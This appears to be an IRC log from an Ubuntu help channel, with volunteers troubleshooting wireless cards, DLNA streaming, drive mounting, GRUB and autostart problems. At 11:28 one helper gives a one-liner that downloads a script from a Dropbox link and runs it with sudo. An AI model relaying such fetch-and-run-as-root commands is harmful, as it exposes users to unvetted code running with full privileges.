[09:52] <Heavylobster> dr_willis: where is this file?
[09:52] <dr_willis> the error message he posted gave that command also...
[09:53] <alimj1> tbharath: Or you can format your NTFS and switch to Linux to get support from MonkeyDust :P Just joking
[09:53] <dr_willis> Heavylobster:  i n the users home

[09:54] <dr_willis> note the   .   Heavylobster   its hidden by default
[09:54] <Heavylobster> yeah the capital X did it, .Xauthority is there
[09:54] <Heavylobster> how do I check the owner via command line?
[09:55] <dr_willis> you coild just rename it.
[09:55] <dr_willis> it will get remade
[09:55] <histo> Heavylobster: ls -l .Xauthority
[09:56] <Heavylobster> looks like it is owned by root.. I guess that is the problem
[09:56] <dr_willis> common issue. sadly
[09:56] <histo> Heavylobster: chown Heavylobster:Heavylobster .Xauthority

[10:07] <logicals> ok... I my wireless card can't see MY wireless network, but it can see other networks... I just plugged in usb wireless adapter so i could connect to it
[10:08] <logicals> btw. my wireless is without password, the others have (if that is a possible reason)
[10:09] <ActionParsnip> logicals: if you run:  sudo iwlist scan     do you see networks?
[10:11] <logicals> yes
[10:11] <haitham> configure: error: Python headers not found

[10:12] <haitham> yes
[10:12] <logicals> i can see netwroks, only not MY network
[10:12] <MonkeyDust> logicals  is wireless enabled in your router?
[10:12] <logicals> yes
[10:12] <haitham> john_m?
[10:13] <melanchthon> haitham: python-dev installed?
[10:13] <ActionParsnip> logicals: do you hide your SSID?
[10:13] <John_m> maybe u have wrong version of Python
[10:13] <logicals> no
[10:13] <ActionParsnip> logicals: is the system a laptop?
[10:13] <logicals> yes
[10:13] <ActionParsnip> haitham: what is the output of:  cat /etc/issue
[10:13] <kitaumascu> hi how can i install all deb packages in 1 folder whtout clickin 1 by 1 by 1
[10:13] <logicals> dual boot ubuntu 12.10 x64
[10:13] <ActionParsnip> logicals: tried movng closer to the router?
[10:13] <MonkeyDust> logicals  was your network detected beforeN
[10:13] <MonkeyDust> logicals  was your network detected before?
[10:14] <ActionParsnip> kitaumascu: sudo dpkg -i ./*.deb
[10:14] <kitaumascu> ActionParsnip:  go to folder in terminal and tupy thet?
[10:14] <logicals> yes it was detected before, AT THIS MOMENT i use and USB wireless adapter (it can see my network), so i can chat with you
[10:14] <haitham> ok thank you
[10:14] <ActionParsnip> kitaumascu: yes
[10:14] <logicals> an*
[10:14] <kitaumascu> ActionParsnip: ty
[10:15] <MonkeyDust> logicals  you lost me, does it or does not see your network?
[10:16] <logicals> ok listen BROADCOM BCM 4311 802.11 A/B/G CANT SEE MY NETWORK, I used it before...
[10:17] <lalondong> Guys, just simple question, but i don't understand.
[10:17] <logicals> other LAPTOPS can see my network only mine
[10:17] <lalondong> What is "fall backs" mean?
[10:17] <logicals> cant
[10:17] <MonkeyDust> lalondong  "classic mode", similar to gnome2
[10:17] <ActionParsnip> logicals: what wifi chip does the laptop use that isn't the usb?
[10:18] <lalondong> you mean, go back to what we have already?
[10:18] <logicals> ROADCOM BCM 4311 802.11 A/B/G CANT SEE MY NETWORK
[10:18] <logicals> Broadcom BCM 43111 802.11 a/b/g thats it
[10:18] <kitaumascu> ActionParsnip:  just to know   ./ = all in folder and * .deb seys to it to just list deb ?
[10:19] <enzotib> Hi, I know about /etc/xdg/autostart and ~/.config/autostart, but what is the use of /usr/share/autostart/ ?
[10:19] <TJ-> What process creates (and doesn't delete) files in /var/tmp/guest.*/ on each boot? It's related to libguest but I've been unable to discover what is creating the directories and using the space
[10:19] <MonkeyDust> lalondong  no, fallback mode makes your gnome3 look like gnome2
[10:19] <John_m>  logicals, try turn on and turn off
[10:19] <ActionParsnip> kitaumascu: ./ means the pwd, *.deb means just the deb files
[10:19] <lalondong> ohh, the system requirements?
[10:20] <ActionParsnip> !broadcom | logicals
[10:20] <meet> a quick query. in ifconfig i am getting different hwaddr for eth0 and wan0 . should not they be the same?
[10:20] <John_m> no
[10:20] <logicals> tried many times... with restart... and other things.... i am a new user, is there a way to uninstall the Wireless card and then to add the device again?
[10:21] <ActionParsnip> meet: is the system virtual?
[10:21] <MonkeyDust> lalondong  classic looks like this http://2.bp.blogspot.com/-fpdM3UOam3Y/TzW6lrA9yNI/AAAAAAAAHuQ/5Wf9Xum-oxQ/s1600/ubuntu12.04-classic-session.png
[10:21] <kitaumascu> ActionParsnip:  pwd = directory? sorry i just want to learn so i dont ask more stupit questions
[10:21] <ActionParsnip> logicals: use the guide I pasted
[10:21] <logicals> ok thank you
[10:21] <ActionParsnip> kitaumascu: run:  pwd    note the output
[10:21] <meet> ActionParsnip: no. but what do you mean exactly by virtual?
[10:21] <ActionParsnip> meet: VMware? VirtualBox, etc...?
[10:21] <meet> no
[10:21] <votz> Is there a way to rewrite all TCP responses to an address to a different address? Like all TCP connections that would respond to <IP_ADDRESS> instead respond to <IP_ADDRESS>? With an ifconfig rule or similar?
[10:21] <meet> dual boot with win7
[10:22] <kitaumascu> ActionParsnip:  it outputs in what dir am i
[10:22] <ActionParsnip> kitaumascu: yes, that is the pwd
[10:22] <varun> logicals, for a quick shot, download linux-firmware-nonfree package from here: http://packages.ubuntu.com/precise/all/linux-firmware-nonfree/download copy it to your system and double-click to install
[10:22] <ActionParsnip> kitaumascu: (p)rint (w)orking (d)irectory
[10:22] <kitaumascu> ActionParsnip:  ty you so much
[10:22] <ActionParsnip> kitaumascu: by using ./  you tell the interpretter to look in the pwd
[10:22] <vlt> votz: iptables -t mangle maybe.
[10:23] <ekiwok> meet, they shoudn't
[10:23] <votz> vlt: Thanks for the hint. I'll sniff there.
[10:24] <meet> ekiwok: but they are being shown
[10:25] <ActionParsnip> kitaumascu: you can specify the whole path if you want but ./ is not in $PATH so needs using if you want to run or use stuff in pwd
[10:26] <ekiwok> meet what do you mean? HWaddr is MAC each has different
[10:26] <ekiwok> meet if you all interfaces woud have had same hwaddr they woudn't be able to communicate
[10:29] <lalondong> Ahh, okey
[10:29] <lalondong> still don't get it though.hehe

[10:34] <hamid1990_> government filtering
[10:34] <MonkeyDust> hamid1990_  how legal is that?
[10:35] <hamid1990_> its just random sites whit some words they filter MonkeyDust
[10:36] <MonkeyDust> hamid1990_  and how is that ubuntu related?
[10:36] <hamid1990_> im using ubuntu
[10:36] <hamid1990_> sth work on this OS
[10:37] <MonkeyDust> hamid1990_  so you want to bypass a government decision?

[10:37] <minas> How can I see which programs are in swap space?
[10:39] <ekiwok> minas you may prevent swaping but I dunno how to check what is stored in swap
[10:39] <minas> I don't want to prevent it - I trust the kernel :)
[10:41] <ekiwok> minas so what do you want to do?
[10:41] <minas> ekiwok, check which programs are in swap space at a current moment
[10:44] <darrell> please help how do i share videos/music/pictures from my laptop with ubuntu 12.04 to my lg smart tv can anyone help please i have samba installed but still cant get the videos on my smart tv thanks
[10:44] <ekiwok> minas mhm I dunno how to do that and is it even possible :( but I'm curioz why woud you do that?
[10:44] <schout> @minas: use top in console, and j to select the swap column
[10:45] <lonesword> darrell, Won't u need an HDMI cable for that?
[10:45] <darrell> need to share videos over the home network between my ubuntu laptop and my smart tv
[10:45] <lonesword> I haven't done it myself, but I guess it involves playing the movie on your laptop and the picture is played in the TV as well if the HDMI is connected
[10:47] <darrell> i know how to plug my laptop into my smart tv but i dont want to do that i want to share files between my laptop and my smart tv over my home network
[10:47] <MonkeyDust> darrell  is that xbmc?
[10:48] <darrell> whats xbmc
[10:48] <MonkeyDust> ok, so no
[10:49] <cfhowlett> :)
[10:49] <cfhowlett> !xbmc
[10:50] <Myrtti> darrell: sounds like a job for upnp, samba or plex
[10:50] <lonesword> I thought xbmc was a media centre app for ubuntu
[10:50] <vic> load screen shot
[10:50] <ejv> sounds like something windows actually does well ;)
[10:51] <vic> how do i share screen shot
[10:52] <darrell> i want to share videos over my home network with my lg smart tv
[10:52] <KM0201> !screenshot | vic

[10:56] <alimj> Alright. After re-installations, RTFM, search and all other staff: It was VirtualBox 4.2.12 Host + Guest additions that were screwing with my precious Ubuntu 12.04 LTS VM at office. Graphic was not working. After downgrading to VirtualBox 4.2.10, everyting is working fine again. Was it just me or anyone else encountered this?
[10:56] <vic> help with mounting http://imagebin.org/254477
[10:57] <darrell> i know how to plug my laptop into my smart tv but i dont want to do that i want to share files between my laptop and my smart tv over my home network
[10:57] <Myrtti> darrell: would mediatomb do the trick?
[10:57] <schout> darrel: look at the supported filesystems for the smartTV
[10:57] <KM0201> depending on the type of tv, minidlna might work as well.
[10:58] <schout> maybe a shared nfs partition is enough
[10:58] <alimj> darrell: Does your smart TV support DLNA (UltraPNP?)
[10:58] <darrell> i have a LG 47inch cinema 3d tv full hd
[10:58] <KM0201> !pastebin | vic please open a terminal and pastebin the output of "sudo fdisk -l" (thats a lowercase L)
[10:58] <darrell> yes it supports DLNA
[10:59] <KM0201> darrell: dlna iss easy, but it doesn't have a webUI
[10:59] <KM0201> i use it to stream to my NAZS
[10:59] <KM0201> *from* my NAS
[10:59] <darrell> thats it stream from my laptop to my smart tv
[10:59] <KM0201> i would think it would work... you just need to make sure the dlna service is running on the laptop, and that you have the appropriate shares added
[11:00] <KM0201> but.. if you want a webUI... i would think mediatomb will work as well.
[11:00] <Contrapunctus> Hey guys. Just did an install of 12.04, and have a silly problem with synaptic - when I search for packages, even ones that _are_ there don't show up =\ What's up?
[11:00] <MonkeyDust> !info mediatomb
[11:00] <schout> darrel: do you want to use the codecs on your laptop or let the visuals be rendered by your tv?
[11:00] <schout> that makes quite a difference
[11:00] <ActionParsnip> Contrapunctus: run:  sudo apt-get update    first
[11:01] <Contrapunctus> ActionParsnip - Did that. Twice.
[11:01] <vic> http://paste.ubuntu.com/5718437/
[11:01] <darrell> rendered by my smart tv
[11:01] <ActionParsnip> darrell: can the TV access samba shares?
[11:01] <LeMike> my brasero wont burn data to multiple dvds . does anyone have a app for that? bruning 17 gig to multiple dvds?
[11:01] <schout> in the second case you should install something like mediatomb or xbmc to control which video to stream
[11:01] <ActionParsnip> LeMike: could use tar to make achives, then burn the archives
[11:01] <alimj> ActionParnip: DLNA does not support samba
[11:02] <KM0201> vic: one more.. post the output of "mount" please
[11:02] <ActionParsnip> alimj: yes, but the TV may....
[11:02] <ActionParsnip> Contrapunctus: does software centre work as expected?
[11:02] <alimj> ActionParnip: Most of new SmartTVs have Linux and prefer DLNA over Smaba
[11:02] <tom20sec> test
[11:02] <schout> then google the supported filesystems of your tv, create a share in that filesystem and make sure your tv and laptop are on the same subnet
[11:02] <vic> http://paste.ubuntu.com/5718443/
[11:02] <Contrapunctus> ActionParsnip: Would rather like to avoid SS if possible.
[11:03] <ActionParsnip> alimj: again, yes, but if this particular system likes samba, we can use it. Can't we
[11:03] <alimj> Darrell: 1st, Then you want DLNA. You would require to connect both TV and Laptop to a router. Or you can make your Ubuntu a router. Both TV and Ubuntu should be on the same network.
[11:03] <ActionParsnip> Contrapunctus: its a test, nothing more, does it work
[11:03] <alimj> ActionParsnip: You are right
[11:03] <ActionParsnip> alimj: so its not a bad question to ask
[11:03] <alimj> Anyway, Darrell left
[11:03] <Contrapunctus> ActionParsnip: It works o.o
[11:04] <oO> ok so i have managed to get my new ubuntu install running and tried this command to mount the drive sudo -i  fuseext2 -o ro -o sync_read /dev/c/c /mnt/lvm2
[11:04] <MonkeyDust> vic  how did you install ubuntu?
[11:04] <ActionParsnip> Contrapunctus: if software centre works then we can isolate the issue to Synaptic, if its bad there then we know there is a wider issue
[11:04] <Contrapunctus> ActionParsnip: And search works in SS.
[11:04] <KM0201> MonkeyDust: was just wondering the same thing.. i think thats a wubi install
[11:04] <vic> monkeydust: live usb
[11:04] <oO> i get the error teh folder contents could not be displayed. you do not have the permission nexessary to view the contents of "lvm2"
[11:04] <MonkeyDust> KM0201  that's my thought too
[11:04] <ActionParsnip> Contrapunctus: sounds like a bug in Synaptic, is the OS fully updated?
[11:04] <MonkeyDust> vic  is that a wubi installation?
[11:04] <KM0201> vic: did you use the "install inside windows" option?
[11:04] <Contrapunctus> ActionParsnip: Except, for some reason, the Install button in SS is _always_ grayed out.
[11:05] <Contrapunctus> ActionParsnip: I don't know. Just installed it, and it went all right. o.o
[11:05] <vic> not wubi installation and i didnt install in windows
[11:05] <KM0201> ..
[11:05] <KM0201> something isn't right.
[11:06] <MonkeyDust> vic  i'm wondering about /dev/mapper
[11:06] <KM0201> well, it doesn't look right.
[11:06] <KM0201> that /dev/mapper, is pretty unusual
[11:06] <vic> i just dont understand /dev/mapper
[11:07] <MonkeyDust> vic  are you now in a live session, or did you install?
[11:07] <ActionParsnip> Contrapunctus: when you run:  sudo apt-get update    do yo uget any warnings or is it 100% smooth?
[11:07] <KM0201> MonkeyDust: he should be installed, as he has a swap
[11:07] <MonkeyDust> true
[11:08] <vic> any info
[11:08] <KM0201> regardless, i think its sda2 he needs to mount
[11:08] <KM0201> vic: ddo you know what filesystem sda2 is?
[11:08] <Contrapunctus> ActionParsnip: Some failed to fetch warnings.
[11:08] <KM0201> vic: if not, sudo blkid should tell you
[11:08] <Contrapunctus> ActionParsnip: Pastebin?
[11:08] <ActionParsnip> Contrapunctus: maybe that is causing the issue, are they PPAs?
[11:08] <ActionParsnip> Contrapunctus: yes, please pastebin the text

[11:09] <artearte> Hey guys, I have been trying to disable my discrete graphics card for quite a while and now I think I did. Does anybody know how I can make sure it's off? lspci still lists it.
[11:10] <LeMike> ActionParsnip: at that point, rightclick and doing the zip has the part option disabled (in the gui). can't put a MB number there
[11:10] <ActionParsnip> Contrapunctus: remove the getdeb ppa and rerun
[11:10] <ActionParsnip> LeMike: what point?
[11:10] <vic> KM0201: sudo blkid shows only sda1, sda5 and mapper
[11:11] <KM0201> hmm
[11:11] <KM0201> weird

[11:12] <oO> how do i change it so users can view mount points not just root?
[11:13] <Contrapunctus> ActionParsnip: Oh wait. I should probably mention that I just added this repo and this problem has been happening before that o.o
[11:13] <ActionParsnip> oO: users can view mount points by default, unless you mount it as such
[11:13] <MonkeyDust> oO  the mount command does not need sudo
[11:13] <ActionParsnip> Contrapunctus: is the apt-get update now smooth? no warnings etc?
[11:13] <oO> it errored out when i tried to run without sudo
[11:13] <ActionParsnip> oO: run what?
[11:13] <MonkeyDust> oO  the mount command does not need sudo, if you just want to see where partitions are mounted, that is
[11:14] <LeMike> what is the command on console for zipping or tar files to multiple archives?
[11:14] <LeMike> nah just zip. the customer has zip only
[11:14] <oO> when i run mount this is what i get for the drive i want to be able to copy stuff from - /dev/c/c on /mnt/lvm2 type fuse (ro,nosuid,nodev)
[11:14] <KM0201> vic: what does gparted say about your partitions?
[11:14] <MonkeyDust> LeMike  i'm sure the people in #bash can help you with that
[11:14] <ekiwok> LeMike tar
[11:15] <oO> command i am running to mount is  fuseext2 -o ro -o sync_read /dev/c/c /mnt

[11:17] <MonkeyDust> vic  i guess you'll have to start the installation from the beginning, something seems to have gone wrong -- backup first
[11:17] <oO> i tried sudo -i but same deal
[11:18] <ActionParsnip> vnc786: did you install the proprietary video driver?
[11:18] <minetape> Hello, i woke up this morning, my computer was off (i suspended it last night) and i turned it on, it was like booting the second time on ubuntu. All of my files were gone, programs still there but not licked to the task bar, is there any way to recover the files?
[11:18] <ActionParsnip> oO: it will be, but the environment will be different :)
[11:18] <KM0201> vic: did you encrypt your home folder?
[11:18] <KM0201> durign install?
[11:18] <vnc786> ActionParsnip: yes but still the same ..
[11:19] <vic> KM0201: have been using this installation since October 2012, the problem only stated this week
[11:19] <oO> from the terminal window i can cd /mnt/lvm2 and then ls shows me the data i want to recover
[11:19] <oO> but how can i view when not using terminal? i like a gui
[11:19] <KM0201>  vic i have no idea man.. sorry... something is weird there
[11:19] <minetape> herru
[11:19] <ActionParsnip> oO: then run:  nautilus /mnt/lvm2
[11:20] <vic> KM0201: can deleting .Trash-0 affect mount points
[11:20] <minetape> anyone there to help?
[11:20] <MonkeyDust> !ask | minetape
[11:21] <KM0201> vic: i don't think so.. it would just regenerate when needed (i assume you mean /home/username/.trash)
[11:22] <oO> now i get nautilus could not create teh required folder "root/.config/nautilus" before running please create the following folder or set permissions such that Nautilus can create it
[11:22] <MonkeyDust> minetape  ok, you already asked, missed it
[11:23] <vic> KM0201: is there a repair utility for ubuntu.. i dont have the .iso
[11:23] <KM0201> vic: i'm not sure any sort fo "repair utility" will work for you, as i have no idea what is wrong... buut to answer your questoin... not to my knowledge
[11:24] <TJ-> vic: https://wiki.ubuntu.com/RecoveryMode
[11:24] <ActionParsnip> oO: because you ran it as root, use your user. If you use sudo with commands instead of switching to root, you will confuse yourself less
[11:25] <vnc786> ActionParsnip: do any other driver will work i dont know but something "common driver"  which i can download
[11:25] <vic> KM0201: ok. /dev/sda2 extended file system?
[11:25] <minetape> MonkeyDust: thought of anything?
[11:26] <KM0201> vic: i don't know, it doesn't list a filesystem
[11:26] <Contrapunctus> ActionParsnip: Strangely enough almost all boxes were unchecked in repositories, so I ticked them, did an apt-get update, now I get only one warning (W: Failed to fetch gzip:/var/lib/apt/lists/partial/security.ubuntu.com_ubuntu_dists_precise-security_main_i18n_Translation-en), but synaptic still persists with that error =\
[11:26] <vic> TJ; will check
[11:27] <vic> KM0210: thanks
[11:28] <ActionParsnip> Contrapunctus: wget https://dl.dropbox.com/u/8850924/fixpackage; chmod +x ./fixpackage; sudo ./fixpackage
[11:29] <MonkeyDust> minetape  what's the output of lsb_release -sd ?
[11:29] <oO> ok have just restarted the virtual machine - will try again now
[11:29] <linuxcadette185> Hello! Im trying to change the PS1variable to display current shell+current directory. PS1='$(0) $(pwd)' doesnt seem to print out Bash. ideas?
[11:30] <jrib> linuxcadette185: do you understand what $() does?
[11:31] <vic> how do you decrypt hdd
[11:32] <oO> ok so ran all commands again after the reboot - with sudo then command etc
[11:32] <linuxcadette185> jrib, not really. I think its used to print out variables within text strings, yes?
[11:32] <oO> i now get could not display /mnt/lvm2 the location is not a folder
[11:32] <oO> after running nautilus /mnt/lvm2
[11:32] <jrib> linuxcadette185: $(XXX) will run the command XXX and be replaced by its output.  It's called "command substiution"
[11:33] <vic> decrypting hdd
[11:33] <linuxcadette185> but the output from echo $0 is "Bash" and from pwd it is current directiory. So it should work?
[11:33] <jrib> linuxcadette185: I'd urge you to read the PROMPTING section in man bash.  You can see the different substitutions you can use in the bash prompt (see \s in particular)
[11:34] <Dark_light> Is there a way to start the totem player without the controls by default?
[11:34] <jrib> linuxcadette185: "$(0)" means run the command "0".
[11:34] <jrib> (and return the output)
[11:34] <linuxcadette185> jrib, ooh. That explains the "command not found" ! :D
[11:35] <MonkeyDust> Dark_light  View > show controls
[11:35] <ActionParsnip> oO: just use nautilus itself to navigate, it can go up folders and you can get to the /mnt folder easily
[11:35] <linuxcadette185> so PS1='$(echo $0)' should work?
[11:35] <jrib> linuxcadette185: I urge you to read the PROMPTING section in man bash like I suggested instead
[11:36] <jonkersJoe> .list
[11:36] <oO> no error this time but there is no data in the folder???
[11:36] <Dark_light> MonkeyDust: yeah but by default
[11:36] <Dark_light> MonkeyDust: it's an option that doesn't stick
[11:36] <linuxcadette185> jrib, my way did work. But I can see thats not the intentinal way of doing it. I will read that section in the man pages. Thank you!
[11:37] <MonkeyDust> Dark_light  just looked i dconf, too -- no such option
[11:46] <Contrapunctus> ActionParsnip: No joy. o.o

[11:48] <cusco> hello folks
[11:48] <hpuser4466> Is it possible to access the partitions of an android phone plugged via usb?    Using ubuntu 12.04 here.
[11:49] <hpuser4466> I have my LG optimus L3 e400 connected via USB and ubuntu recognizes it.  Now it's a matter of finding the devices in /dev, if it's possible to access the devices.
[11:50] <atomms> hi! after checking system's monitor in my ubuntu10.04 i find CPU always100% loaded, an y ideas how to reduce it?

[11:58] <muindor> hey all. does anyone snow a very small linux distro which could run from a live usb stick, it only needs a console, no gui or fancy stuff. i have an old thin client here and have to make some linux run on it. though most of those i tried yet didnt boot correctly. this a 500mhz system with 64mb ram
[11:58] <jrib> muindor: try damn small linux?
[11:58] <Ntemis> slitaz
[11:58] <muindor> jrib, ye tried it already, but didnt boot either
[11:59] <linuxdumb> I broke my flashdrive live install of lubuntu, with persistent enabled I had saved some very important documents, but I can't boot to this install any longer, so have installed lubuntu to harddrive and mounted my old flashdrive live lubuntu hoping to access these documents, but so far had no luck finding them?
[11:59] <MonkeyDust> muindor  puppy
[11:59] <linuxdumb> how do I access them?
[11:59] <MonkeyDust> muindor  antix is pretty lightweight too

[12:29] <lesshaste> is there some way to use vnc just to run one application?
[12:29] <compdoc> lesshaste, there is something like that. virtual apps
[12:30] <lesshaste> compdoc, do you know a link? A web search doesn't seem to show it
[12:30] <compdoc> lesshaste, different OSes have their own versions. even microsoft
[12:31] <lesshaste> compdoc, this is ubuntu only
[12:34] <ActionParsnip> lesshaste: you can do it with X forwarding
[12:34] <lesshaste> ActionParsnip, that is far too slow sadly

[12:52] <vekexasia> hello all. I've some servers with ubuntu 12.10 64bit. It happens that some of these servers randomly freezes. By freeze i mean that it become impossible to reach it even with a simple ping or whatever. I added a couple of sysctl.conf entries since I thought it was a kernel panic so that it reboots when it happens .
[12:53] <pranav> i use desktop switcher for different apps. I have 6 desktops. can i also have separate icon in each of these ?
[12:53] <vekexasia> Problem is i don't get it rebooted automatically so I think it's not a kernel panic. how can i debug this ?
[12:54] <pranav> I mean.. having separate category of files in each of these 6 workspace, instead of just showing separate applications those are running ? any app. in ubuntu 12.04 ?? :D
[12:55] <MonkeyDust> pranav  use of multiple screens is still a big issue in linux at large
[12:56] <pranav> MonkeyDust: is it unstable ?
[12:57] <MonkeyDust> pranav  not sure what you mean by unstable, it's just not very well supported
[12:59] <pranav> all I needed was the feature to categorise different sets of icons in my workspace's desktop. (single monitor) is there some software to do it in ubuntu 12.04 ? :)
[12:59] <pranav> in each of 6 desktop
[13:03] <aneks> I installed Ubuntu alongside Windows 8 and for some reason it didn't install the boot loader as it boots into Windows straight away. Is there any way I can fix this?
[13:03] <Guest56593>  you cant install windows 8  along with ubuntu
[13:04] <aneks> I know I can, I've done it before but this time there is no boot loader, otherwise it'd give me an option to choose between the two.
[13:05] <MonkeyDust> aneks  did you install ubuntu first, then windows?
[13:05] <aneks> no I already had Windows installed
[13:05] <MonkeyDust> ok
[13:05] <MonkeyDust> aneks  do you mean there's no grub menu?
[13:06] <aneks> yeah that's right, there is no grub menu, it boots into Windows straight away
[13:07] <Guest56593> aneks  windows 8 disable the mbr boot manager by default you have to install ubuntu first then windows or go into the bios and set sata to ide
[13:07] <MonkeyDust> aneks  it's not exactly your situation, but you may find this link useful https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows?action=show&redirect=RestoreGrub
[13:07] <aneks> well only 3-4 days ago I installed Ubuntu alongside Windows and had no issues
[13:08] <aneks> MonkeyDust, thank you
[13:11] <Guest56593> In order to install Linux  alongside Windows 8  you have to disabled UEFI  in bios or  boot  to a flash drive with the Linux image. that might help

[13:19] <TLM> v
[13:19] <TLM> is there a way to make an image in terminal?
[13:19] <MonkeyDust> TLM  you mean an ascii image?
[13:20] <MrSassyPants> is there some OSS alternative to flash pro cs6?
[13:21] <TLM> MonkeyDust just a normal image that can be converted to jpg and others
[13:25] <Pici> TLM: are you looking to create an image or just to convert it?
[13:25] <MonkeyDust> TLM  there's this http://caca.zoy.org/wiki/libcaca
[13:25] <TLM> Pici create by using commands
[13:25] <Pici> TLM: imagemagick *might* be able to do that.

[13:41] <haitham>  exact error that occured. This usually means GLIB is incorrectly installed. configure: error: maybe you want the pygobject-2-4 branch?
[13:42] <haitham> i need help
[13:43] <sybariten> hey, i would like to do the following, how would you go about:
[13:44] <EgonR> How od i add a milti-name ssid to the /etc/network/interfaces, ie: an ssid with spaces in it's name.
[13:44] <sybariten> 1) start with a fresh Ubuntu "install" or, something....   2) install some software, more precisely some VPN stuff, and make some firewall settings, 3) make a liveCD out of it, that can boot to ram!
[13:44] <sybariten> the idea is that the livecd should bring me to this specific state
[13:45] <she_dyed> EgonR: you can use cli put a \ before the space
[13:45] <haitham>  exact error that occured. This usually means GLIB is incorrectly installed. configure: error: maybe you want the pygobject-2-4 branch?
[13:45] <EgonR> aah so i just add with slashes, i tried plain text and within quotation marks.
[13:46] <she_dyed> EgonR: how many spaces?
[13:46] <KM0201> EgonR: that should work also actually... however, you cann also use "tab" to autocomplete.. nad it will handle it for you
[13:46] <she_dyed> Egon better tab as KM0201 says let autocomplete
[13:46] <she_dyed> it autocomplete*
[13:47] <she_dyed> EgonR: otherwise \
[13:48] <EgonR> nano does not autocomplete
[13:49] <EgonR> it is just a text file
[13:50] <she_dyed> EgonR: is this a script
[13:51] <wilee-nilee> sybariten, You can use remastersys ore build https://help.ubuntu.com/community/LiveCDCustomization
[13:53] <kwang> hello every body
[13:53] <compdoc> hey kwang
[13:53] <kwang> hi
[13:59] <EgonR> it is /etc/network/interfaces
[14:01] <she_dyed> EgonR: use the backslash OR you put the quotes wrong probably windows-style
[14:03] <jnhghy> Hi, I've just created a little test app using quickly and glade and I've created a .deb pack that works fine and I was just thinking the src is python then theoretically I can create a windows installer also... my question is this possible?
[14:07] <ubuntu> hi
[14:08] <Guest88620> hello somebody is out there?
[14:08] <mattnie> of course ;)
[14:10] <dry[1]> Hi. I have some problems with autostarting 2 python files on Ubuntu 11.10. Only one file usually starts. How to fix it?
[14:10] <she_dyed> dry[1]: are they together in ONE script?
[14:10] <mattnie> how do you autostart it?
[14:10] <jrib> dry[1]: explain exactly what you did
[14:11] <PeterGriffin> Hi all. How can I connect to an active console remotely via ssh? I started an update and now it is stuck request to choose old or new configuration and I  want to finish it remotely.
[14:11] <mattnie> if they are in one script you can easily add & behin the command
[14:12] <jrib> PeterGriffin: what do you mean when you say "started an update"?
[14:12] <PeterGriffin> jrib: I mean apt-get upgrade
[14:12] <jrib> PeterGriffin: were you in screen or tmux by chance?
[14:13] <dry[1]> she_dyed, jrib: There are 2 files and only 1 starts from 'Startup Applications': /usr/bin/python /home/user/Desktop/1.py /usr/bin/python /home/user/Desktop/2.py
[14:15] <PeterGriffin> jrib: I don't know what you mean, but I started it in terminal out of the graphic envirement. tty1
[14:15] <mattnie> how do you start it?
[14:15] <jrib> PeterGriffin: look into retty and reptyr
[14:15] <jrib> dry[1]: did you create separate entries in Startup Applications for each?
[14:16] <dry[1]> mattnie: Ubuntu 11.10 -> Startup Applications -> Additional startup programs
[14:16] <dry[1]> jrib: Yes, I created separate entries and one always disappears.
[14:16] <mattnie> dry[1]: you can easily add /usr/bin/python /home/user/Desktop/1.py &  /usr/bin/python /home/user/Desktop/2.py to /etc/rc.local
[14:17] <jrib> dry[1]: define "disappears"
[14:17] <PeterGriffin> jrib: Thank you. I will try them. :))
[14:17] <jrib> dry[1]: you mean you add the entry to startup applications and then later that entry is no longer in startup applications?  Or do you mean something else?
[14:18] <mattnie> dry[1]: I have forgotten the second &
[14:18] <dry[1]> jrib: Icon (starter) of one of files is gone each time from Additional startup applications
[14:18] <jrib> dry[1]: note that mattnie's suggestion would start your scripts as root
[14:18] <jrib> dry[1]: is it consistently the same file (1 or 2)?
[14:18] <mattnie> if you do not set up it correct
[14:18] <mattnie> you can set a user
[14:19] <mattnie> which runs it ;)
[14:19] <dry[1]> mattnie, jrib: I'll check that.
[14:19] <jrib> mattnie: it's not ideal
[14:19] <mattnie> jirib: you can run it as normal user? so why it is not ideal?
[14:20] <mattnie> dry[1]: if you want to run it form a other user just "su <user>" befor command
[14:20] <jrib> mattnie: runs at a different time than startup applications.  Maybe you need access to the graphical environment or other environment settings for the user that only get set once you login, it's also less organized than placing the scripts in their "proper" place
[14:20] <dry[1]> jrib: it is consistently one from files (doesn't matter which kind - but the last one on the list = last one added)
[14:21] <jrib> dry[1]: check what's going on in ~/.config/autostart (there should be a .desktop file for each of your entries)
[14:21] <rupert> Hi, I'm trying to restore an Ubuntu install using dpkg get/set-selections and apt-get dselect-upgrade. But when I do apt-get dselect-upgrade it installs 32bit versions of the packages, but both the new and the old system are 64 bit. What's going wrong here?
[14:22] <mattnie> jrib: you are right!
[14:22] <jrib> rupert: what does the output you got from dpkg --get-selections look like?
[14:23] <rupert> jrib: just <packagename> <install/deinstall>, no mention of i386
[14:23] <jrib> rupert: what ubuntu version?
[14:23] <rupert> jrib: 12.04
[14:24] <rupert> jrib: although the source system was upgraded to 12.04 from 10.04
[14:24] <nullby7e> faces
[14:24] <rupert> jrib: but that was already done a while ago
[14:25] <jrib> rupert: uname -m; dpkg --print-architecture   (on the new system) returns?
[14:25] <theadmin> I'm having an issue here, it appeared after the last kernel upgrade. Sometimes, Ubuntu freezes on boot and just shows a black screen, nothing can be done apart from hard reset. It works most of the time, though. What could be the issue?
[14:25] <rupert> jrib: x86_64, amd64
[14:25] <jrib> rupert: can you pastebin some sample output that shows it will install i386?
[14:25] <theadmin> (Oh, 'tis Precise)
[14:26] <rupert> jrib: ok hold on
[14:27] <rupert> jrib: btw, I've also noticed after running --set-selections not all packages are actually selected. For example, I have libapache2-mod-wsgi set to 'installed', but running --get-selections again after --set-selections shows no mention of libapache2-mod-wsgi
[14:28] <helmut_> hi
[14:28] <jrib> rupert: strange
[14:31] <evil_andy> Hi, I'm using 12.04LTS and I can't figure this issue out: No matter what desktop manager I select when I log in, it will work just find (and remember the selection) until I reboot. then it always reverts to Unity. How do I make the window manager selection permanent (even if just for my user)
[14:31] <dry[1]> jrib, mattnie: There is only one file each time in ~/.config/autostart directory. Just closing Startup Applications Preferences is enough for the python file rejection from the list of startups.
[14:32] <jrib> dry[1]: ls -ld ~ ~/.config ~/.config/autostart
[14:32] <she_dyed> evil_andy: you select fromlogin screen?
[14:32] <evil_andy> yeah
[14:32] <evil_andy> lightdm
[14:32] <ActionParsnip> evil_andy: unity isn't a WM, it's a shell. You probably mean Compiz
[14:32] <wilee-nilee> evil_andy, Can you be more precise, what desktop manager and how you are doing it would help.
[14:32] <ActionParsnip> evil_andy: do you use autologin?
[14:33] <evil_andy> I don't use auto-login
